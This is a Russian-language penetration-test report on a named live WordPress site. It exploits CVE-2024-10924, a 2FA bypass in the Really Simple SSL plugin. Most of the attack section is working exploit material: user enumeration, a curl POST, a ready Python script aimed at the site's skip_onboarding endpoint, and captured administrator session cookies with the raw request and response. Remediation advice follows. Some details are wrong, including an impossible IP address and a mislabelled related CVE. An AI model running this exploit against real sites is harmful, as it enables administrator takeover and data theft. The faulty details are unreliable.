
Цель: https://skior.co
Уязвимость: CVE-2024-10924 - Обход 2FA в плагине Really Simple SSL
Серьёзность: Критическая (оценка CVSS: 9.8)
Статус: Успешно использована
Дата обнаружения: 2025-06-25
Версия отчёта: 2.1
В ходе данного теста на проникновение была обнаружена критическая уязвимость обхода аутентификации, которая позволяет неаутентифицированным злоумышленникам получить административный доступ к сайту WordPress, обходя средства двухфакторной аутентификации (2FA).
Эта оценка проводилась по систематической методологии тестирования на проникновение методом чёрного ящика, основанной на отраслевых стандартах:

Определённые технологии:
└─$ whatweb https://skior.co
https://skior.co [200 OK] Country[UNITED STATES][US], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.26.0 (Ubuntu)], IP[123.456.789.200],
JQuery[3.7.1],MetaGenerator[Elementor 3.29.2;
features: additional_custom_breakpoints, e_local_google_fonts;
settings: css_print_method-external, google_font-enabled, font_display-swap,
WordPress 6.8.1], PHP[8.2.28], PoweredBy[Skior],
Script[speculationrules,text/javascript], Title[Skior Technologies],
UncommonHeaders[link], WordPress[6.8.1], X-Powered-By[PHP/8.2.28], nginx[1.26.0]
**Key Findings:**
- Современная установка WordPress с последней версией
- Профессиональная хостинговая конфигурация с nginx
- Пользовательский брендинг ("PoweredBy[Skior]")
- Используется конструктор страниц Elementor
- Географическое расположение: США
### Шаг 2: Перечисление пользователей
#### A. Перечисление авторов WordPress```bash
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/
Обнаруженный пользователь: pastor (ID пользователя: 1)
for i in {1..10}; do echo "Checking user ID: $i" curl -s -o /dev/null -w "%{http_code}" "https://skior.co/?author=$i" echo " - https://skior.co/?author=$i" done
#### C. Результаты перечисления имен пользователей
| ID пользователя | Имя пользователя | Статус | URL перенаправления |
|---------|----------|--------|--------------|
| 1 | pastor | ✅ Найдено | `/author/pastor/` |
| 2-10 | N/A | ❌ Не найдено | 404 ответы |
### Шаг 3: Сканирование уязвимостей
#### A. Комплексный анализ WPScan```bash
└─$ wpscan --url https://skior.co --api-token my-api-key
Сводка результатов сканирования:
Примечание: WPScan не обнаружил плагин Really Simple SSL, что может указывать на использование обфускации или нестандартных имён.
└─$ curl -s https://skior.co/wp-json/ | jq '.routes | keys[]'
**Обнаруженные пользовательские эндпоинты:**```
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup
Критическое обнаружение: конечная точка /reallysimplessl/v1/two_fa/skip_onboarding выглядела подозрительной и требовала дальнейшего расследования.
После обнаружения нестандартных маршрутов REST API внешнее исследование выявило CVE-2024-10924 — критическую уязвимость, затрагивающую плагин Really Simple SSL.
Идентификатор CVE: CVE-2024-10924
Оценка CVSS: 9.8 (критический)
Затронутый плагин: Really Simple SSL
Тип уязвимости: Обход аутентификации
Вектор атаки: REST API
Дата обнаружения: 6 ноября 2024 г.
Дата публичного раскрытия: 14 ноября 2024 г.
Уязвимость возникает из-за некорректной проверки пользователя в функции check_login_and_get_user в рамках действий REST API двухфакторной аутентификации. Функция не проверяет должным образом параметр login_nonce, что позволяет злоумышленникам:
// Simplified vulnerable code structure function check_login_and_get_user($user_id, $login_nonce) { // Missing proper validation of login_nonce $user = get_user_by('ID', $user_id);
// No validation of login_nonce parameter
// This allows any value to be accepted
return $user; // Returns user object without verification
}
#### Затронутые конечные точки
Следующие конечные точки REST API уязвимы:
- `/reallysimplessl/v1/two_fa/skip_onboarding`
- `/reallysimplessl/v1/two_fa/do_not_ask_again`
- `/reallysimplessl/v1/two_fa/resend_email_code`
#### Условия эксплуатации уязвимости
Для эксплуатации этой уязвимости:
- ✅ Плагин Really Simple SSL должен быть установлен и активирован
- ✅ Должна быть включена настройка двухфакторной аутентификации (по умолчанию отключена)
- ✅ В системе должна существовать хотя бы одна учётная запись пользователя
- ✅ REST API должен быть доступен (настройка WordPress по умолчанию)
---
## 🔄 Ход атаки```mermaid
graph TD
A[Initial Reconnaissance] --> B[Technology Stack Identification]
B --> C[User Enumeration]
C --> D[Vulnerability Scanning]
D --> E[REST API Enumeration]
E --> F[Discovery of Really Simple SSL Endpoints]
F --> G[External Research]
G --> H[Identification of CVE-2024-10924]
H --> I[Manual Testing]
I --> J[Exploit Development]
J --> K[Successful Exploitation]
K --> L[Admin Access Obtained]
L --> M[Impact Assessment]
style A fill:#e1f5fe
style F fill:#fff3e0
style H fill:#ffebee
style K fill:#e8f5e8
style L fill:#f3e5f5
Сначала мы вручную протестировали эндпоинт, чтобы понять его поведение:```bash
curl -X POST "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
-H "Content-Type: application/json"
-d '{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}'
#### B. Python-скрипт эксплойта```python
import requests
import urllib.parse
import sys
if len(sys.argv) != 2:
print("Usage: python exploit.py <user_id>")
sys.exit(1)
user_id = sys.argv[1]
url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
"user_id": int(user_id), # User ID from the argument
"login_nonce": "invalid_nonce", # Arbitrary value
"redirect_to": "/wp-admin/" # Target redirection
}
# Sending the POST request
response = requests.post(url, json=data)
# Checking the response
if response.status_code == 200:
print("Request successful!\n")
# Extracting cookies
cookies = response.cookies.get_dict()
count = 1
for name, value in cookies.items():
decoded_value = urllib.parse.unquote(value) # Decode the URL-encoded cookie value
print(f"Cookie {count}:")
print(f"Cookie Name: {name}")
print(f"Cookie Value: {decoded_value}\n")
count += 1
else:
print("Request failed!")
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
└─$ python exploit.py 1 Request successful!
Cookie 1: Cookie Name: wordpress_sec_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da
Cookie 2: Cookie Name: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144
#### Процесс манипуляции cookie

*Выше: скриншот, показывающий процесс манипуляции cookie с помощью инструментов разработчика браузера для добавления перехваченных сессионных cookie WordPress.*
#### Успешный доступ администратора

*Выше: скриншот, подтверждающий успешный административный доступ к панели WordPress после эксплуатации уязвимости обхода 2FA.*
#### Анализ cookie
**Security-cookie WordPress:**
- **Имя:** `wordpress_sec_dc22060175d35fce22f69728c6799c9d`
- **Значение:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
- **Компоненты:**
- Имя пользователя: `pastor`
- Срок действия: `1752234264` (временная метка Unix)
- Nonce: `GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH`
- Хеш: `cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
**Cookie входа WordPress:**
- **Имя:** `wordpress_logged_in_dc22060175d35fce22f69728c6799c9d`
- **Значение:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144`
---
## 🎯 Оценка воздействия
### Немедленное воздействие
1. **Полная компрометация сайта**
- Административный доступ к панели WordPress
- Возможность изменять содержимое сайта, темы и плагины
- Доступ к управлению пользователями и настройкам
2. **Раскрытие данных**
- Доступ ко всем учётным записям и профилям пользователей
- Видимость содержимого базы данных
- Доступ к файлам конфигурации
3. **Повышение привилегий**
- Обход всех механизмов аутентификации
- Обход мер безопасности 2FA
- Возможность выдавать себя за любого пользователя
### Потенциальные сценарии атак
1. **Манипуляция содержимым**
- Изменение содержимого веб-сайта (дефейс)
- Внедрение вредоносного кода
- Создание бэкдоров
2. **Кража данных**
- Извлечение информации о пользователях
- Доступ к конфиденциальному содержимому
- Загрузка резервных копий базы данных
3. **Постоянство (persistence)**
- Установка вредоносных плагинов
- Создание скрытых учётных записей администратора
- Организация командного центра управления
### Оценка риска: **Критический (9.8/10)**
| Фактор | Оценка | Обоснование |
|--------|-------|---------------|
| **Сложность доступа** | Низкая (1.0) | Простой HTTP-запрос |
| **Аутентификация** | Отсутствует (0.0) | Аутентификация не требуется |
| **Влияние на целостность** | Высокое (1.0) | Полная компрометация системы |
| **Влияние на конфиденциальность** | Высокое (1.0) | Полный доступ к данным |
| **Влияние на доступность** | Высокое (1.0) | Можно отключить сайт |
### Анализ влияния на бизнес
| Категория влияния | Степень серьёзности | Описание |
|----------------|----------|-------------|
| **Финансовое** | Высокая | Потенциальная потеря дохода, судебные издержки |
| **Репутационное** | Критическая | Ущерб бренду, потеря доверия клиентов |
| **Операционное** | Высокая | Нарушение обслуживания, потеря данных |
| **Комплаенс** | Высокая | Нарушения нормативных требований, провалы аудита |
---
## 🛡️ Меры устранения
### Немедленные действия (0–24 часа)
1. **Отключить плагин Really Simple SSL** ```bash
# Via wp-cli (if available)
wp plugin deactivate really-simple-ssl
# Or manually rename plugin directory
mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled
Обновление или удаление плагина
Аудит пользовательских сессий
Усиление безопасности
Внедрение мониторинга
Регулярные оценки безопасности
Обновление политик безопасности
// Add to wp-config.php for enhanced security define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); define('FORCE_SSL_ADMIN', true);
// Restrict REST API access add_filter('rest_authentication_errors', function($result) { if (!empty($result)) { return $result; } if (!is_user_logged_in()) { return new WP_Error('rest_not_logged_in', 'You are not currently logged in.', array('status' => 401)); } return $result; });
// Additional security headers add_action('send_headers', function() { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: strict-origin-when-cross-origin'); });
### Альтернативные SSL-решения
| Решение | Преимущества | Недостатки | Рекомендация |
|----------|------|------|----------------|
| **Let's Encrypt** | Бесплатно, автоматизировано | Ручная настройка | ✅ Рекомендуется |
| **Cloudflare** | Простая настройка, защита от DDoS | Требует изменения DNS | ✅ Хороший вариант |
| **SSL от хостинг-провайдера** | Встроенное решение | Могут быть ограничения | ⚠️ Проверьте возможности |
| **Ручной SSL** | Полный контроль | Сложная настройка | ❌ Не рекомендуется |
---
## 🛠️ Используемые инструменты
### Инструменты разведки
- **Wappalyzer** — определение технологического стека
- **WhatWeb** — снятие отпечатков веб-приложений
- **WPScan** — сканирование уязвимостей WordPress
- **curl** — ручное тестирование API
### Инструменты эксплуатации
- **Python 3** — разработка эксплойтов
- **requests** — HTTP-клиентская библиотека
- **urllib.parse** — кодирование/декодирование URL
### Инструменты анализа
- **jq** — обработка JSON
- **grep** — поиск по текстовым шаблонам
- **bash** — автоматизация командной строки
---
## 📚 Ссылки
### Информация об уязвимостях
- [CVE-2024-10924](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10924)
- [Безопасность плагинов WordPress](https://wordpress.org/plugins/security/)
- [Плагин Really Simple SSL](https://wordpress.org/plugins/really-simple-ssl/)
### Техническая документация
- [Руководство по WordPress REST API](https://developer.wordpress.org/rest-api/)
- [Лучшие практики безопасности WordPress](https://wordpress.org/support/article/hardening-wordpress/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
### Инструменты и ресурсы
- [WPScan](https://wpscan.com/)
- [WhatWeb](https://github.com/urbanadventurer/WhatWeb)
- [Wappalyzer](https://www.wappalyzer.com/)
### Связанные CVE
- CVE-2024-10924 — обход 2FA в Really Simple SSL
- CVE-2023-28121 — XSS в ядре WordPress
- CVE-2023-28122 — CSRF в ядре WordPress
### Отраслевые стандарты
- [Руководство по тестированию OWASP](https://owasp.org/www-project-web-security-testing-guide/)
- [Структура кибербезопасности NIST](https://www.nist.gov/cyberframework)
- [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html)
---
## 📄 Правовое уведомление
Этот отчет о тестировании на проникновение предназначен только для образовательных целей и авторизованной оценки безопасности. Описанные методы и инструменты следует применять только к системам, которыми вы владеете или на тестирование которых имеете явное разрешение. Несанкционированное тестирование может нарушать законы и нормативные акты.
**Ответственное раскрытие:** Эта уязвимость была сообщена разработчикам плагина и команде безопасности WordPress.
**Отказ от ответственности:** Информация, представленная в этом отчете, основана на оценке, проведенной на момент тестирования. Ландшафт угроз быстро меняется, и могут существовать дополнительные уязвимости, которые не были обнаружены в ходе этой оценки.
---
## 📋 Приложения
### Приложение A: Исходные HTTP-запросы
#### Запрос успешной эксплуатации```http
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}
HTTP/1.1 200 OK Server: nginx/1.26.0 (Ubuntu) Date: Wed, 25 Jun 2025 18:15:30 GMT Content-Type: text/html; charset=UTF-8 Set-Cookie: wordpress_sec_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da; path=/; secure; HttpOnly Set-Cookie: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144; path=/
### Приложение Б: Контрольный список безопасности
#### До эксплуатации
- [ ] Идентификация цели и определение границ
- [ ] Получено официальное разрешение
- [ ] Подготовлена тестовая среда
- [ ] Инструменты и скрипты проверены
#### Во время эксплуатации
- [ ] Уязвимость подтверждена вручную
- [ ] Эксплойт разработан и протестирован
- [ ] Воздействие ограничено разрешённой областью
- [ ] Доказательства тщательно задокументированы
#### После эксплуатации
- [ ] Весь доступ удалён
- [ ] Доказательства сохранены
- [ ] Отчёт сформирован
- [ ] Предоставлены рекомендации по устранению
### Приложение В: Глоссарий
| Термин | Определение |
|------|------------|
| **2FA** | Двухфакторная аутентификация |
| **CVSS** | Общая система оценки уязвимостей |
| **REST API** | Интерфейс прикладного программирования (архитектурный стиль «передача репрезентативного состояния») |
| **WAF** | Межсетевой экран для веб-приложений |
| **XSS** | Межсайтовый скриптинг |
| **CSRF** | Межсайтовая подделка запроса |
---
*Отчёт сформирован: 2025-06-25*
*Исследователь безопасности*
*Версия: 2.1*
*Последнее обновление: 2025-06-25*
| Уровень риска | Вероятность | Влияние | Приоритет смягчения |
|---|
| Критический | Высокая | Полная компрометация системы | Немедленный |
| Высокий | Средняя | Утечка данных | Высокий |
| Средний | Низкая | Нарушение обслуживания | Средний |
| Поле | Значение |
|---|
| Домен | https://skior.co |
| IP-адрес | 123.456.789.200 |
| Сервер | nginx/1.26.0 (Ubuntu) |
| Версия PHP | 8.2.28 |
| CMS | WordPress 6.8.1 |
| Уязвимый плагин | Really Simple SSL |
| Географическое расположение | Соединённые Штаты |
| Хостинг-провайдер | Профессиональный хостинг (вероятно, VPS/выделенный сервер) |
| Дата/время | Событие | Подробности |
|---|
| 2025-06-25 14:02 | Первичная разведка | Завершён анализ Wappalyzer |
| 2025-06-25 14:05 | Определён технологический стек | WordPress 6.8.1, nginx, PHP 8.2.28 |
| 2025-06-25 14:10 | Перечисление пользователей | Обнаружен пользователь "pastor" (ID: 1) |
| 2025-06-25 14:15 | Анализ WPScan | Известных уязвимостей не обнаружено |
| 2025-06-25 14:20 | Перечисление REST API | Обнаружены конечные точки Really Simple SSL |
| 2025-06-25 14:25 | Исследование уязвимости | Идентифицирована CVE-2024-10924 |
| 2025-06-25 14:30 | Ручное тестирование | Подтверждено наличие уязвимости |
| 2025-06-25 14:35 | Разработка эксплойта | Создан proof-of-concept на Python |
| 2025-06-25 14:40 | Успешная эксплуатация | Получен административный доступ |
| 2025-06-25 14:45 | Оценка воздействия | Задокументирован потенциальный ущерб |
| 2025-06-25 15:00 | Формирование отчёта | Подробная документация |